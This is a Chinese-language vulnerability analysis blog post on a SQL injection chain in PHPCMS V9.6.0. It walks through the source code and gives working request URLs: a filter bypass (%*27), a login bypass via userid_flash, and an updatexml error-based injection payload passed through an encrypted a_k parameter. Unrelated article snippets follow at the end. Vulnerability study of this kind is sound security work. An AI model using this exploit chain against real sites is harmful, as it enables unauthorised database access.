phpcmsV9.6.0sql注入漏洞分析
目录
前言
环境准备
漏洞点
看一看parse_str函数
看一看sys_auth函数
看一看get_one函数
全局搜索sys_auth($a_k, 'ENCODE')
查看safe_replace函数
判断登录绕过
index的业务
加载modules/wap/index.php
加载modules/attachment/attachments.php
加载modules\content\down.php
前言
本次分析phpcmsV9.6.0 的sql注入漏洞,过程很曲折,就像cc链一样,要一步一步找到利用的链。
纯手动分析没有软件调试,中间找类啊,方法啊 ,都是按照代码流程写的流程分析的,对自己也是一个挑战吧!
环境准备
添加php的运行环境
PHPCMSV9.6.0 源码下载
链接:https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwd=cefh
提取码:cefh
漏洞点
请看phpcms\modules\content\down.php 文件下down类中的一个函数方法
public function init() {$a_k = trim($_GET['a_k']);if(!isset($a_k)) showmessage(L('illegal_parameters'));$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));if(empty($a_k)) showmessage(L('illegal_parameters'));unset($i,$m,$f);parse_str($a_k);if(isset($i)) $i = $id = intval($i);if(!isset($m)) showmessage(L('illegal_parameters'));if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));if(empty($f)) showmessage(L('url_invalid'));$allow_visitor = 1;$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id)); $siteids = getcache('category_content','commons');$siteid = $siteids[$catid];$CATEGORYS = getcache('category_content_'.$siteid,'commons');...
get传参&a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理,后面sql的数据库处理,这里是否存在sql注入呢!
看一看parse_str函数
官方文档说明

看来这个函数可以根据传参&k=v 的形式创建变量 ,我们可以创建$id参数 试试sql注入,因为下面的代码涉及数据库查询
看if(isset($i)) $i = $id = intval($i); 好像对$id做了处理,不过没有用,因为上面的代码有执行unset($i,$m,$f); ,这意味者$i是无效的。 之后$id是一直没有做过滤处理,直接到了sql查询,那么这存在的sql注入可能性是非常的大的。
我们欲定制的&id=' and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中,这有可能返回用户信息。
不过在此之前我们要看一下加解密的这个函数sys_auth();
看一看sys_auth函数
/*** 字符串加密、解密函数*** @param string $txt 字符串
* @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string $key 密钥:数字、字母、下划线
* @param string $expiry 过期时间* @return string*/function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');}}
只看注解就大致明白了这个函数的基本逻辑,传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。
而且当你第二个参数密钥没输的话,后面的代码还是会赋给key:pc_base::load_config('system', 'auth_key') ---------------$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
看来pc_base::load_config('system','auth_key')这个就是密钥了。
找到pc_base这个类的load_config方法,找找看密钥在不在
/*** 加载配置文件* @param string $file 配置文件* @param string $key 要获取的配置荐* @param string $default 默认配置。当获取配置项目失败时该值发生作用。* @param boolean $reload 强制重新加载。*/public static function load_config($file, $key = '', $default = '', $reload = false) {static $configs = array();if (!$reload && isset($configs[$file])) {if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';if (file_exists($path)) {$configs[$file] = include $path;}if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}
第一个if是进不去的因为$configs[$file] 是刚创建的新数组,看它接下来又进行了什么操作
$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
if (file_exists($path)) {
$configs[$file] = include $path;
}
这里给$configs[$file] 赋了值,分析一下。
写宏的定义都可以找到//缓存文件夹地址 define('CACHE_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR.'caches'.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define('PC_PATH', dirname(FILE).DIRECTORY_SEPARATOR);
根据传入的参数$file=system 可以得到$path的目录
CACHE_PATH=phpcms../caches./
$path=phpcms../caches./configs./system.php
在后面的代码逻辑中似乎取出了什么值,$configs[$file][$key]; 。
打开这个文件一看 找auth_key的值

ok 这个密钥找到了
如果这个密钥每个安装cms的用户密钥都一样的,那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。
全局搜索看看有没有调用sys_auth($a_k, 'ENCODE');函数 传入的字符串是否可控 ,若可控还能返回最好 ,我们把准备的get传参交由它加密,最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。
为了确保sql注入的准确执行,看一看get_one函数
看一看get_one函数
...$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id)); ...
分析一下db是怎么来的,查看down的构造方法
class down {private $db;function __construct() {$this->db = pc_base::load_model('content_model');}
跟进pc_base类下的load_model方法
/*** 加载数据模型* @param string $classname 类名*/
public static function load_model($classname) {return self::_load_class($classname,'model');
}
在跟进_load_class方法
/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}}
由传入的参数$classname=content_model; $path='model'
PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php' == phpcms/model/content_model.class.php'
这个文件是存在的所以会被包含进来
在content_model.class.php内content_model类中没有找到get_one方法,不过它有父类model兴趣能找到get_one方法。
在父类中有get_one方法
*** 获取单条记录查询* @param $where 查询条件* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]* @param $order 排序方式 [默认按数据库默认方式排序]* @param $group 分组方式 [默认为空]* @return array/null 数据查询结果集,如果不存在,则返回空*/
final public function get_one($where = '', $data = '*', $order = '', $group = '') {if (is_array($where)) $where = $this->sqls($where);return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
上来就判断$where是数组吗,是! 刚才我们传的是array('id'=>$id),因此会执行$where = $this->sqls($where);进入sqls方法
/*** 将数组转换为SQL语句* @param array $where 要生成的数组* @param string $font 连接串。*/
final public function sqls($where, $font = ' AND ') {if (is_array($where)) {$sql = '';foreach ($where as $key=>$val) {$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";}return $sql;} else {return $where;}
}
假设id=1 那么经过foreach后 $sql="id=1"
假设id=1 key=2那么经过foreach后 $sql="id=1 and key=2"
将$sql返回赋值给$where
续分析return $this->db->get_one($data, $this->table_name, $where, $order, $group);
这里貌似有了新的db,去看一看db怎么来的, 找到model类的构造函数
class model {//数据库配置
protected $db_config = '';
//数据库连接
protected $db = '';
//调用数据库的配置项
protected $db_setting = 'default';
//数据表名
protected $table_name = '';
//表前缀
public $db_tablepre = '';public function __construct() {if (!isset($this->db_config[$this->db_setting])) {$this->db_setting = 'default';}$this->table_name = $this->db_config[$this->db_setting]['tablepre'].$this->table_name;$this->db_tablepre = $this->db_config[$this->db_setting]['tablepre'];$this->db = db_factory::get_instance($this->db_config)->get_database($this->db_setting);
}
找到同级目录下的db_factory类 get_instance静态方法
/*** 返回当前终级类对象的实例* @param $db_config 数据库配置* @return object*/
public static function get_instance($db_config = '') {if($db_config == '') {$db_config = pc_base::load_config('database');}if(db_factory::$db_factory == '') {db_factory::$db_factory = new db_factory();}if($db_config != '' && $db_config != db_factory::$db_factory->db_config) db_factory::$db_factory->db_config = array_merge($db_config, db_factory::$db_factory->db_config);return db_factory::$db_factory;
}
实例化db_factory类,后面又调用了get_database方法 ,
/*** 获取数据库操作实例* @param $db_name 数据库配置名称*/public function get_database($db_name) {if(!isset($this->db_list[$db_name]) || !is_object($this->db_list[$db_name])) {$this->db_list[$db_name] = $this->connect($db_name);}return $this->db_list[$db_name];}
进入connect方法 看看返回的return $this->db_list[$db_name];是什么
/*** 加载数据库驱动* @param $db_name 数据库配置名称* @return object*/
public function connect($db_name) {$object = null;switch($this->db_config[$db_name]['type']) {case 'mysql' :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();break;case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;case 'access' :$object = pc_base::load_sys_class('db_access');break;default :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();}$object->open($this->db_config[$db_name]);return $object;
}
这里我们需要判断 $this->db_config[$db_name]['type'] 存的是什么字符串
connect的$db_name来自get_database的$db_name
get_database的$db_name来自$this->db_setting
db_setting = 'default'
找一下$db_config
$db_config = pc_base::load_config('database');
根据刚才找system的套路 我们也向caches\configs目录下找
<?phpreturn array ('default' => array ('hostname' => 'localhost','port' => 3306,'database' => 'phpcmsv9','username' => 'root','password' => '','tablepre' => 'v9_','charset' => 'utf8','type' => 'mysqli','debug' => true,'pconnect' => 0,'autoconnect' => 0),
);?>
既然是default 后面又有type 那么最终返回的就是mysqli
现在可以判断的是刚才的switch语句会执行以下的代码
case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;
跟进去load_sys_class
/*** 加载系统类方法* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {return self::_load_class($classname, $path, $initialize);
}
在跟进去_load_class
/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}
}
ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类
由此可见db存的是db_mysqli实例化类
db_mysqli有get_one的方法
/*** 获取单条记录查询* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]* @param $table 数据表* @param $where 查询条件* @param $order 排序方式 [默认按数据库默认方式排序]* @param $group 分组方式 [默认为空]* @return array/null 数据查询结果集,如果不存在,则返回空*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res;
}
所以这里的之前的get_one函数会跳转到上面的get_one函数
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
$where = $where == ' ' ? ' ' : ' WHERE '.$where; 将成为 WHERE id=1 之类的
$order = $order == ' ' ? ' ' : ' ORDER BY '.$order; $order为空
$group = $group == '' ? '' : ' GROUP BY '.$group; $group为空
$data = '*'经过$field = explode( ',', $data); $field成为数组 .....
看sql语句的字符串
$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.''.$where.$group.$order.$limit;
最终形成的形式为$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.'' WHERE id=1 LIMIT 1;
这样美誉经过任何过滤项 已经形成sql注入的必要条件了。
全局搜索sys_auth($a_k, 'ENCODE')
在phpcms\libs\classes\param.class.php文件中
/*** 设置 cookie* @param string $var 变量名* @param string $value 变量值* @param int $time 过期时间*/public static function set_cookie($var, $value = '', $time = 0) {$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;$var = pc_base::load_config('system','cookie_pre').$var;$_COOKIE[$var] = $value;if (is_array($value)) {foreach($value as $k=>$v) {setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}} else {setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}}
('cookie_pre' => 'tqdSZ_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 )
$value参数可控的话就可以利用,这里setcookie方法貌似是js中定义的,可以返回到前端
function setcookie(name, value, days) {name = cookie_pre+name;var argc = setcookie.arguments.length;var argv = setcookie.arguments;var secure = (argc > 5) ? argv[5] : false;var expire = new Date();if(days==null || days==0) days=1;expire.setTime(expire.getTime() + 3600000*24*days);document.cookie = name + "=" + escape(value) + ("; path=" + cookie_path) + ((cookie_domain == '') ? "" : ("; domain=" + cookie_domain)) + ((secure == true) ? "; secure" : "") + ";expires="+expire.toGMTString();
}
查看哪里调用了 set_cookie
在phpcms/modules/attachment/attachments.php文件中 ,有一个方法
/*** 设置swfupload上传的json格式cookie*/public function swfupload_json() {$arr['aid'] = intval($_GET['aid']);$arr['src'] = safe_replace(trim($_GET['src']));$arr['filename'] = urlencode(safe_replace($_GET['filename']));$json_str = json_encode($arr);$att_arr_exist = param::get_cookie('att_json');$att_arr_exist_tmp = explode('||', $att_arr_exist);if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;param::set_cookie('att_json',$json_str);return true; }}
查看接收字符串的src与filename参数,中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie ,
查看safe_replace函数
/*** 安全过滤函数** @param $string* @return string*/
function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','"',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','<',$string);$string = str_replace('>','>',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string;
}
这个函数的确过滤了不少特殊的字符,但它是顺序执行了的啊!
给出思路: 假如我们像传参%27 我们可以写成%*27 ,是不是可以绕过了。
判断登录绕过
要使用这个类还有有一个前提
看一看attachments类的初始化工作
class attachments {private $att_db;function __construct() {pc_base::load_app_func('global');$this->upload_url = pc_base::load_config('system','upload_url');$this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg');$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;//判断是否登录if(empty($this->userid)){showmessage(L('please_login','','member'));}}
必须让userid不为空,分析前面的带代码得知post传入userid_flash参数即可
为了使userid加密 格式正确我们可以看下面的代码
phpcms/modules/wap/index.php
class index {function __construct() { $this->db = pc_base::load_model('content_model');$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap');$this->types = getcache('wap_type','wap');$this->wap = $this->wap_site[$this->siteid];define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);if($this->wap['status']!=1) exit(L('wap_close_status'));}
这里get接收siteid并且经过加密(set_cookie里)返回 我们可以拿到一个正常的加密的siteid值
一切都看似很美好,那么我们如何传参呢?
index的业务
看首页的index.php
<?php
/*** index.php PHPCMS 入口** @copyright (C) 2005-2010 PHPCMS* @license http://www.phpcms.cn/license/* @lastmodify 2010-6-1*///PHPCMS根目录define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);include PHPCMS_PATH.'/phpcms/base.php';pc_base::creat_app();?>
跟进pc_base类中的creat_app方法
/*** 初始化应用程序*/
public static function creat_app() {return self::load_sys_class('application');
}
根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类
application类有构造函数
class application {
/*** 构造函数*/
public function __construct() {$param = pc_base::load_sys_class('param');define('ROUTE_M', $param->route_m());define('ROUTE_C', $param->route_c());define('ROUTE_A', $param->route_a());$this->init();
}
这里定义了几根宏后面可能会用到,看看route_m
/*** 获取模型*/
public function route_m() {$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');$m = $this->safe_deal($m);if (empty($m)) {return $this->route_config['m'];} else {if(is_string($m)) return $m;}
}
route_c
/*** 获取控制器*/public function route_c() {$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');$c = $this->safe_deal($c);if (empty($c)) {return $this->route_config['c'];} else {if(is_string($c)) return $c;}}
$param存的应该是param类
进入init函数
/*** 调用件事*/private function init() {$controller = $this->load_controller();if (method_exists($controller, ROUTE_A)) {if (preg_match('/^[_]/i', ROUTE_A)) {exit('You are visiting the action is to protect the private action');} else {call_user_func(array($controller, ROUTE_A));}} else {exit('Action does not exist.');}}
进入load_controller
/*** 加载控制器* @param string $filename* @param string $m* @return obj*/private function load_controller($filename = '', $m = '') {if (empty($filename)) $filename = ROUTE_C;if (empty($m)) $m = ROUTE_M;$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';if (file_exists($filepath)) {$classname = $filename;include $filepath;if ($mypath = pc_base::my_path($filepath)) {$classname = 'MY_'.$filename;include $mypath;}if(class_exists($classname)){return new $classname;}else{exit('Controller does not exist.');}} else {exit('Controller does not exist.');}}
}
可以传参c=cccc&m=mmm
$filepath=phpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件
返回这个实例化类
call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
根据这个逻辑我们可以包含phpcms/modules/wap/index.php,加载index类(__construct会自动执行),这样就可传参siteid了
加载modules/wap/index.php
试一下
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=index&m=wap&siteid=1

我们可以看到这里确实返回了cookie
加载modules/attachment/attachments.php
准备加载在phpcms/modules/attachment/attachments.php加载attachments类
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachments&m=attachment
我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
/*** 获取事件*/
public function route_a() {$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');$a = $this->safe_deal($a);if (empty($a)) {return $this->route_config['a'];} else {if(is_string($a)) return $a;}
}
我们试试把get传入参数a
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachment&m=attachment&a=swfupload_json
注意这个请求应是post,加上userid_flash 之前我们得到的可以绕过登录的加密密文
userid_flash=6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF
如果这个请求可以执行swfupload_json函数, 那就要考虑传参了,这也是我们愿意看到的向src传参。
不过此前我们还要考虑到如下的代码
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
由于以上代码参数限制我们 在传参的时候加把这些if绕过去,于是我们payload设置如下
http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=attachments&m=attachment&a=swfupload_json&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=1
此时有cookie的返回

将这段的cookie记录下来
afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61
加载modules\content\down.php
phpcms\modules\content\down.php 加载init函数 传入参数&a_k
http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=down&m=content&a=init&a_k=afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61
可以看到这里确实可以存在sql注入

相关文章:
phpcmsV9.6.0sql注入漏洞分析
目录 前言 环境准备 漏洞点 看一看parse_str函数 看一看sys_auth函数 看一看get_one函数 全局搜索sys_auth($a_k, ENCODE) 查看哪里调用了 set_cookie 查看safe_replace函数 判断登录绕过 index的业务 加载modules/wap/index.php 加载modules/attachment/attachme…...
深入理解正则表达式:高效处理文本数据的利器
💂 个人网站:【工具大全】【游戏大全】【神级源码资源网】🤟 前端学习课程:👉【28个案例趣学前端】【400个JS面试题】💅 寻找学习交流、摸鱼划水的小伙伴,请点击【摸鱼学习交流群】 引言 正则表达式是一种…...
张雪峰说网络空间安全专业
网络空间安全专业是一个涵盖了计算机科学、信息安全、法律等多个领域的学科,旨在研究保护网络空间的信息系统和数据不被非法侵入、破坏、篡改、泄露的技术和管理手段。 网络安全专业的重要性 随着网络技术的发展,网络安全问题也日益凸显,黑客…...
day11-ArrayList学生管理系统
1.ArrayList 集合和数组的优势对比: 长度可变添加数据的时候不需要考虑索引,默认将数据添加到末尾 1.1 ArrayList类概述 什么是集合 提供一种存储空间可变的存储模型,存储的数据容量可以发生改变 ArrayList集合的特点 长度可以变化…...
java springboot 如何实现小程序支付
今天给大家分享java小程序支付 首先我们学习任何东西要先看官网 下面是支付业务流程 我们具体用代码去实现上面的业务流程 功能截图 代码截图 pay(){//调用后台生成订单var orderNumber "20210101123456";var amount 0.01;WxPay.wxpay(app, amount, orderNumber…...
题目:2839.判断通过操作能否让字符串相等 I
题目来源: leetcode题目,网址:2839. 判断通过操作能否让字符串相等 I - 力扣(LeetCode) 解题思路: 两字符串奇数位字符计数相等并且偶数位字符计数相等是可通过操作让字符串相等。 解题代码ÿ…...
【Prometheus】Prometheus+Grafana部署
Prometheus 概述 官网https://prometheus.io/docs/introduction/overview/ Prometheus 是一款基于时序数据库的开源监控告警系统,非常适合Kubernetes集群的监控。Prometheus的基本原理是通过HTTP协议周期性抓取被监控组件的状态,任意组件只要提供对应的…...
无CDN场景下的传统架构接入阿里云WAF防火墙的配置实践
文章目录 1.配置网站接入WAF防火墙1.1.配置网站接入方式1.2.填写网站的信息1.3.WAF防火墙生成CNAME地址 2.配置WAF防火墙HTTPS证书3.修改域名DNS解析记录到WAF防火墙4.验证网站是否接入WAF防火墙 传统架构接入WAF防火墙非常简单,配置完WAF网站接入后,将得…...
和鲸技术!国家气象信息中心人工智能气象应用基础技术平台上线
8 月 31 日,由和鲸科技支持的人工智能气象应用基础支撑技术平台 V1.0 正式于国家气象信息中心(下简称“信息中心”)上线发布。该平台主要为人工智能技术在气象领域的融合应用提供基础性支撑,目前,已为基于深度学习的短…...
GIT高级使用技巧
GIT高级使用技巧 导出GIT日志到文件 按照 <哈希> - <作者名> <作者邮箱地址> - <作者日期> : <commit描述> 的格式导出日志 git log --prettyformat:"%H - %an <%ae> - %ad : %s" master > log.txt筛选日志并按照从旧到新…...
JavaScript中的垃圾回收机制
聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ JavaScript的垃圾回收机制⭐ 内存管理⭐ 引用计数⭐ 标记-清除算法⭐ 内存泄漏⭐ 性能优化⭐ 使用delete操作符⭐ 注意循环中的变量引用⭐ 使用工具进行内存分析⭐ 使用合适的数据结构⭐ 写在最后 ⭐ 专栏简介 前端入门之旅:探…...
Java替换 html 中隐藏的空格字符
前言 有时候前端传过来的 json 字符串,包含了隐藏的空格 &NBSP 字符,在后端 Debug 的时候可以看到是 ,但 system.out.print() 打印出来的是正常的空格,这样看着正常但其实放入 fastjson 中去做解析会失败,所以我…...
微博情绪分类
引自:https://blog.csdn.net/no1xiaoqianqian/article/details/130593783 友好借鉴,总体抄袭。 所需要的文件如下:https://download.csdn.net/download/m0_37567738/88340795 import os import torch import torch.nn as nn import numpy a…...
探索项目追踪平台的多样性及功能特点
项目追踪平台是现代项目管理中不可或缺的工具,它可以帮助团队高效地跟踪和管理项目进度、任务和资源分配。在当今快节奏的商业环境中,有许多热门的项目追踪平台可供选择。 本文总结了当下热门的项目追踪平台,供您参考~ 1、Zoho Projects&am…...
git简单命令
简易的命令行入门教程: Git 全局设置: git config --global user.name “yyyyjinying” git config --global user.email “12343343qq.com” 创建 git 仓库: mkdir wx-project cd wx-project git init touch README.md git add README.md git commit -m “first commit” …...
Fiber 架构的起源和含义
Fiber 架构的起源 Fiber 架构的起源可以追溯到 React 团队在 2017 年提出的一项重大改进计划。在过去的 React 版本中,渲染过程是基于递归的,即组件树的遍历是通过递归函数来完成的。这种方式在大规模复杂应用中可能会引发一些性能问题,例如…...
Vue3高频面试题+八股文
Vue3.0中的Composition Api 开始之前 Compos:1 tion API可以说是ue3的最大特点,那么为什么要推出Compos1t1on Api,解决了什么问趣? 通常使用Vue2开发的项目,普遍会存在以下问题: 代码的可读性随着组件变大而变差每一种代码复用的…...
对数据库三大范式的理解
首先,要明确一个概念,范式的提出到逐步精进,从第一范式到第三范式,甚至于BCNF范式,逐步优化是为了解决插入异常、删除异常以及改善数据冗余的。 第一范式:符合第一范式的要求,即数据表的属性值均…...
(matplotlib)如何不显示x轴或y轴刻度(ticks)
文章目录 背景plt版本ax子图版本 解决办法plt版本ax子图版本 背景 import numpy as np import matplotlib.pyplot as pltplt版本 x[1,2,3] y[4,5,6] plt.plot(x,y)ax子图版本 x[1,2,3] y[4,5,6] axplt.subplot() ax.plot(x,y)可以发现,正常情况下是有刻度的&…...
U8用友ERP本地部署异地远程访问:内网端口映射外网方案
文章目录 前言1. 服务器本机安装U8并调试设置2. 用友U8借助cpolar实现企业远程办公2.1 在被控端电脑上,点击开始菜单栏,打开设置——系统2.2 找到远程桌面2.3 启用远程桌面 3. 安装cpolar内网穿透3.1 注册cpolar账号3.2 下载cpolar客户端 4. 获取远程桌面…...
测试微信模版消息推送
进入“开发接口管理”--“公众平台测试账号”,无需申请公众账号、可在测试账号中体验并测试微信公众平台所有高级接口。 获取access_token: 自定义模版消息: 关注测试号:扫二维码关注测试号。 发送模版消息: import requests da…...
linux之kylin系统nginx的安装
一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源(HTML/CSS/图片等),响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址,提高安全性 3.负载均衡服务器 支持多种策略分发流量…...
